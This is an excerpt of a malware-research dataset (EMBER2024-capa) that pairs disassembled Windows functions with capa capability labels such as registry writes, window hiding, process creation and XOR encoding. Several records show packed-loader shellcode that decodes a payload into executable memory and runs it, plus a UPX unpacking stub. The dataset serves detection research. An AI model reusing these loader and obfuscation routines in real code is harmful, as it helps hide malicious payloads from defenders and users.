joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408298
Capabilities:
Set registry value

Disassembly:
mov eax, 0x43dad7
call fcn.0043c04c
sub esp, 0x94
push ebx
push esi
push edi
push 0xf
xor ebx, ebx
pop edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x44], ebx
mov byte [ebp - 0x54], bl
mov dword [ebp - 4], ebx
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x70], ebx
mov byte [ebp - 0x80], bl
mov byte [ebp - 4], 1
push 0x12
push str.SoftwareGGSQGNA_
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x88], edi
mov dword [ebp - 0x8c], ebx
mov byte [ebp - 0x9c], bl
call fcn.00401f77
push 2
lea ecx, [ebp - 0x9c]
pop edx
lea esi, [ebp - 0x18]
call fcn.0040750e
push ebx
push 1
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 2
call fcn.00401bdc
push 7
push str.InstKey
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], ebx
mov byte [ebp - 0x38], bl
call fcn.00401f77
mov dword [ebp - 0x10], 0xada
cmp byte [ebp - 0x14], bl
je 0x408356
cmp dword [ebp - 0x24], 0x10
mov eax, dword [ebp - 0x38]
jae 0x408343
lea eax, [ebp - 0x38]
push 4
lea ecx, [ebp - 0x10]
push ecx
push 4
push ebx
push eax
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push ebx
push 1
lea ecx, [ebp - 0x38]
call fcn.00401bdc
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x54]
push eax
call fcn.00407cf9
test al, al
je 0x4083ce
cmp dword [ebp - 0x44], ebx
jbe 0x4083ba
push 3
push 0x442744
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], ebx
mov byte [ebp - 0x38], bl
call fcn.00401f77
lea eax, [ebp - 0x54]
lea ecx, [ebp - 0x38]
lea edx, [ebp - 0x18]
call fcn.0040756c
push ebx
push 1
lea ecx, [ebp - 0x38]
call fcn.00401bdc
mov ecx, dword [ebp + 8]
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x54]
push eax
add ecx, 0xc
call fcn.00402295
cmp dword [ebp - 0x70], ebx
jbe 0x4083ce
lea eax, [ebp - 0x80]
push eax
push dword [ebp + 8]
call fcn.00407e1a
mov dword [ebp - 0x1c], eax
sub esp, 0x10
mov dword [ebp - 0x10], esp
mov esi, esp
push ecx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x10], esp
call fcn.004047b9
mov eax, dword [ebp + 8]
add eax, 8
push 0xaba
push eax
mov dword [ebp + 8], eax
call fcn.00406127
push ecx
mov dword [ebp - 0x10], esp
lea esi, [ebp - 0x64]
mov dword [ebp - 0x10], esp
call fcn.004047b9
mov byte [ebp - 4], 3
push 6
push str.STATUS
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], ebx
mov byte [ebp - 0x38], bl
call fcn.00401f77
push dword [ebp - 0x1c]
lea eax, [ebp - 0x38]
push eax
mov edi, esi
mov byte [ebp - 4], 4
call fcn.00402fce
push ebx
push 1
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 3
call fcn.00401bdc
sub esp, 0x10
mov dword [ebp - 0x10], esp
push esp
mov ecx, esi
call fcn.0040854f
push 0xa85
push dword [ebp + 8]
call fcn.00406127
mov eax, esi
push eax
mov byte [ebp - 4], 2
call fcn.00402f9f
cmp byte [ebp - 0x14], bl
je 0x408477
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push 1
lea ecx, [ebp - 0x80]
call fcn.00401bdc
push ebx
push 1
lea ecx, [ebp - 0x54]
call fcn.00401bdc
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 4
Function at 0x40a864
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [edi + 9], eax
mov eax, dword [ebp + 0xc]
push 0
mov dword [edi + 0xd], eax
call esi
push 1
mov dword [ebp - 8], eax
call esi
mov esi, dword [edi + 0xd]
mov ebx, dword [edi + 9]
mov dword [ebp - 4], eax
fild dword [ebp - 4]
push 0
push esi
push ebx
fmul qword [0x442f58]
call fcn.0043bfa0
mov ecx, eax
mov eax, esi
cdq
sub eax, edx
sar eax, 1
mov esi, eax
mov eax, dword [ebp - 4]
cdq
sub eax, edx
sar eax, 1
neg esi
sub esi, ecx
add esi, eax
mov eax, ebx
cdq
sub eax, edx
mov ecx, eax
mov eax, dword [ebp - 8]
cdq
sub eax, edx
push esi
sar ecx, 1
sar eax, 1
sub eax, ecx
push eax
push 0
push dword [edi + 5]
call dword [sym.imp.USER32.dll_SetWindowPos]
lea esi, [edi + 0x11]
mov eax, esi
call fcn.00408c34
push dword [ebp + 0xc]
mov ebx, dword [esi]
push dword [ebp + 8]
call fcn.00408bc8
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 6
push dword [edi + 5]
call esi
push 9
push dword [edi + 5]
call esi
push 0
push 0
push dword [edi + 5]
call dword [sym.imp.USER32.dll_InvalidateRect]
pop esi
pop ebx
leave
ret 8

Function at 0x40afa4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
xor eax, eax
xor edi, edi
push str.http:__go.gamenet.ru_a_19_383_inst
lea ecx, [ebp - 0x1c]
mov dword [ebp - 8], 7
mov dword [ebp - 0xc], edi
mov word [ebp - 0x1c], ax
call fcn.0040852a
cmp dword [ebp - 8], 8
mov eax, dword [ebp - 0x1c]
jae 0x40afd6
lea eax, [ebp - 0x1c]
push 5
push edi
push edi
push eax
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push edi
xor edi, edi
inc edi
push edi
lea ecx, [ebp - 0x1c]
call fcn.00401cc1
push dword [esi + 0xcb]
mov dword [esi + 0xcf], edi
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
leave
ret

Function at 0x40c442
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [ecx + 4]
xor ecx, ecx
cmp dword [eax + 0xa3], ecx
je 0x40c46d
add eax, 0x93
cmp dword [eax + 0x14], 8
jb 0x40c45c
mov eax, dword [eax]
push 1
push ecx
push ecx
push eax
push str.open
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.0040d20a
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.0040d20a
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.0040d20a
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.0040d20a
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.0040d20a
mov dword [0x41203c], eax
call fcn.0040d20a
test eax, eax
jge 0x402550
push 8
call fcn.0040d20a
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.0040d20a
pop ecx
push 1
call fcn.0040d20a
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.0040d20a
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.0040d20a
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.0040d20a
jmp 0x402495

Function at 0x40d20a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x40d219
pop dword [ebp - 0x38]
mov eax, 0x95bff29f
sub eax, 0x957f2086
sub dword [ebp - 0x38], eax
push 0x40
push 0x1000
push 0x3320c
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x38]
call dword [eax]
mov ecx, 0x2f24
mov ebx, eax
mov edx, 0x413bc4
add edx, dword [ebp - 0x38]
mov edi, 0x6d518d9e
mov dword [ebp - 0x24], 0xacb4f6f5
mov esi, dword [edx]
mov dword [ebp - 0x1c], 0x654c23a4
xor esi, edi
sub dword [ebp - 0x18], edi
mov dword [ebx], esi
add ebx, 4
add edx, 4
loop 0x40d261
add eax, 0xd1201747
sub eax, 0xd11f67e4
mov ebx, eax
add eax, 0xa4db37e2
add eax, 0x5b24c823
mov ecx, 0x400000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x4013c0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x414fb0
push esi
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
test edi, edi
je 0x41515a
push ebx
mov ebx, dword [esp + 0x10]
nop word [eax + eax]
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x24
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x7c
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
xor byte [esi + ebx], 0x92
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xcb
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x2d
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
add esp, 0x44
push eax
call fcn.004013a7
add byte [esi + ebx], 0xdf
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xde
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 9
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x81
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x53
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xcd
add esp, 0x40
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x73
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
xor byte [esi + ebx], 0x95
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x72
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xe6
add esp, 0x30
inc esi
cmp esi, edi
jb 0x414fd0
pop ebx
pop edi
pop esi
ret

Function at 0x4035da
Capabilities:
Terminate process

Disassembly:
jmp 0x453329
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x45333a
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00405920
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x40370b
Capabilities:
Query environment variable

Disassembly:
jmp 0x49c7e2
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x49c7f3
pop esi
ret
push ebx
push edi
push esi
call fcn.0049c6c9
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403fe9
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x49c81b
push ebx
push esi
push edi
call fcn.00405713
add esp, 0xc
push 0
call fcn.00406262
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x40610d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x40611c
pop dword [ebp - 0x50]
mov eax, 0x40611c
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x13846349
add dword [ebp - 0x60], 0x3acde202
mov dword [ebp - 0x5c], 0x7c3f2d8c
add dword [ebp - 0x5c], 0xb5f41eb9
mov dword [ebp - 0x58], 0xf5c10b41
sub dword [ebp - 0x58], 0xa974c713
mov dword [ebp - 0x54], 0x8d26ef7b
add dword [ebp - 0x54], 0x72d91085
lea eax, [ebp - 0x60]
push eax
mov eax, 0x196d29a1
add eax, 0xe6d346bf
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x858db8f5
add dword [ebp - 0x60], 0xeee4b061
mov dword [ebp - 0x5c], 0x35efda1f
add dword [ebp - 0x5c], 0xb7c8756
mov dword [ebp - 0x58], 0xe917ea01
sub dword [ebp - 0x58], 0x85a87d95
mov dword [ebp - 0x54], 0x16ff1fe7
sub dword [ebp - 0x54], 0x16ff1fe7
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x38777
push 0
call eax
mov ecx, 0x7b1105e5
sub ecx, 0x7b10b676
xor edi, edi
add edi, eax
mov esi, 0x410000
add esi, dword [ebp - 0x50]
mov ebx, 0xafb97542
add dword [ebp - 4], 0xa31ad5ee
mov edx, dword [esi]
sub dword [ebp - 0x2c], 0x60fe5dc4
add edx, ebx
xor dword [ebp - 0x4c], ecx
mov dword [edi], edx
xor dword [ebp - 0xc], 0x77c9fc70
add edi, 0xe3c3aa4e
sub edi, 0xe3c3aa4a
add esi, 0x61541ee3
add esi, 0x9eabe121
loop 0x40622a
add eax, 0x1308f
mov ebx, eax
add eax, 0xac7eea06
sub eax, 0xac7eea01
mov ecx, 0xdcd8b941
add ecx, 0x236746bf
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x4019b0
Capabilities:
Hide graphical window
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringA]
push 0x64
push 0x406f58
push 0x69
push esi
call edi
push 0x64
push 0x406ef0
push 0x67
Function at 0x4bcff0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x7f000]
push edi
or ebp, 0xffffffff
jmp 0x4bd012
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4bd019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bd008
mov eax, 1
add ebx, ebx
jne 0x4bd02b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4bd03c
jne 0x4bd05b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bd05b
dec eax
add ebx, ebx
jne 0x4bd048
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4bd020
add ebx, ebx
jne 0x4bd057
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4bd0ad
xor ecx, ecx
sub eax, 3
jb 0x4bd073
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4bd0e2
sar eax, 1
mov ebp, eax
jmp 0x4bd07e
add ebx, ebx
jne 0x4bd07e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bd04c
inc ecx
add ebx, ebx
jne 0x4bd08c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bd04c
add ebx, ebx
jne 0x4bd099
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4bd08e
jne 0x4bd0aa
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4bd08e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4bd0cc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4bd0be
jmp 0x4bd00e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4bd0cc
add edi, ecx
jmp 0x4bd00e
pop esi
mov edi, esi
mov ecx, 0x17de
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4bd0ea
cmp byte [edi], 0xe
jne 0x4bd0ea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4bd0ef
lea edi, [esi + 0xb9000]
mov eax, dword [edi]
or eax, eax
je 0x4bd167
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xc4c04]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xc4d30]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4bd11c
mov ecx, edi
jns 0x4bd14b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xc4d34]
or eax, eax
je 0x4bd161
mov dword [ebx], eax
add ebx, 4
jmp 0x4bd139
call dword [esi + 0xc4d3c]
mov ebp, dword [esi + 0xc4d38]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4bd19b
sub esp, 0xffffff80
jmp 0x41d81e
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x401443
pop dword [ebp - 0x38]
mov eax, 0x4c860372
add eax, 0xb3ba10d1
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x4870c8c2
add dword [ebp - 0x48], 0x5e17c89
mov dword [ebp - 0x44], 0xf1f3dfc4
sub dword [ebp - 0x44], 0xbfc0937f
mov dword [ebp - 0x40], 0x96c6c7dd
add dword [ebp - 0x40], 0xb5857c51
mov dword [ebp - 0x3c], 0xac212595
sub dword [ebp - 0x3c], 0xac212595
lea eax, [ebp - 0x48]
push eax
mov eax, 0x641fd2c2
add eax, 0x9c20ae42
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xa4315bc5
sub dword [ebp - 0x48], 0x2fbef26f
mov dword [ebp - 0x44], 0x143b62b
sub dword [ebp - 0x44], 0xbfd754b6
mov dword [ebp - 0x40], 0xbed9a726
sub dword [ebp - 0x40], 0x5b6a3aba
mov dword [ebp - 0x3c], 0x1e254806
sub dword [ebp - 0x3c], 0x1e254806
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x327cc930
sub eax, 0x323c4830
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x3b18e
push 0
call eax
mov ecx, 0x10f6f31a
add ecx, 0xef096020
xor esi, esi
add esi, eax
mov edx, 0x46e400
add edx, dword [ebp - 0x38]
mov edi, 0xbb2c0091
sub edi, 0xa12998c3
xor dword [ebp - 0x28], 0x98e3a76c
mov ebx, dword [edx]
xor dword [ebp - 0x24], 0x1284098c
sub ebx, edi
mov dword [esi], ebx
xor dword [ebp - 0x10], ebx
add esi, 0x2b9059a6
add esi, 0xd46fa65e
add edx, 0x7d6f7928
add edx, 0x829086dc
loop 0x401561
add eax, 0x13fbb
mov ebx, eax
add eax, 5
mov ecx, 0x75ddbaee
sub ecx, 0x759dbaee
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x402c93
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42a2f0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x402d27
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x402ce4
cmp dword [ebp + 0x10], ebx
jne 0x402d1b
lea eax, [ebp - 0x210]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402cf6
lea eax, [ebp - 0x210]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ccb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004065ec
cmp eax, ebx
je 0x402d2e
push ebx
push dword [0x42a2f0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402d27
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42a2f0], ebx
jne 0x402d24
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x402d24
jmp 0x402d27
Function at 0x405a03
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, ebx
and eax, 4
push edi
mov dword [ebp - 4], eax
call fcn.00405cce
test bl, 8
mov dword [ebp - 8], eax
je 0x405a42
push edi
call dword [sym.imp.kernel32.dll_DeleteFileW]
neg eax
sbb eax, eax
inc eax
add dword [0x42a2c8], eax
jmp 0x405bbf
mov dword [ebp + 8], ebx
and dword [ebp + 8], 1
je 0x405a5c
test eax, eax
je 0x405b6d
test bl, 2
je 0x405b6d
mov esi, 0x425730
push edi
push esi
call fcn.00406212
cmp dword [ebp + 8], 0
je 0x405a7b
push 0x40a574
push esi
call sub.kernel32.dll_lstrcatW
jmp 0x405a81
push edi
call fcn.00405c12
cmp word [edi], 0
jne 0x405a91
cmp word [0x425730], 0x5c
jne 0x405a9c
push 0x40a014
push edi
call sub.kernel32.dll_lstrcatW
push edi
call sub.kernel32.dll_lstrlenW
lea ebx, [edi + eax*2]
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.kernel32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405b62
cmp word [ebp - 0x22c], 0x2e
jne 0x405ae6
cmp word [ebp - 0x22a], 0
je 0x405b45
cmp word [ebp - 0x22a], 0x2e
jne 0x405ae6
cmp word [ebp - 0x228], 0
je 0x405b45
lea eax, [ebp - 0x22c]
push eax
push ebx
call fcn.00406212
test byte [ebp - 0x258], 0x10
je 0x405b11
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x405b45
push dword [ebp + 0xc]
push edi
call fcn.00401434
jmp 0x405b45
push dword [ebp - 4]
push edi
call fcn.004059bb
test eax, eax
jne 0x405b3d
cmp dword [ebp - 4], eax
je 0x405b35
push edi
push 0xfffffffffffffff1
call fcn.00401434
push 0
push edi
call fcn.004060b3
jmp 0x405b45
inc dword [0x42a2c8]
jmp 0x405b45
push edi
push 0xfffffffffffffff2
call fcn.00401434
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.kernel32.dll_FindNextFileW]
test eax, eax
jne 0x405abe
push esi
call dword [sym.imp.kernel32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x405b6d
and word [ebx - 2], 0
xor esi, esi
cmp dword [ebp + 8], esi
je 0x405bbf
cmp dword [ebp - 8], esi
jne 0x405b81
inc dword [0x42a2c8]
jmp 0x405bbf
push edi
call fcn.00406555
test eax, eax
je 0x405bbf
push edi
call fcn.00405bc6
mov eax, dword [ebp - 4]
or al, 1
push eax
push edi
call fcn.004059bb
test eax, eax
jne 0x405bb7
cmp dword [ebp - 4], esi
je 0x405b79
push edi
push 0xfffffffffffffff1
call fcn.00401434
push esi
push edi
call fcn.004060b3
jmp 0x405bbf
push edi
push 0xffffffffffffffe5
call fcn.00401434
pop edi
pop esi
pop ebx
leave
ret 8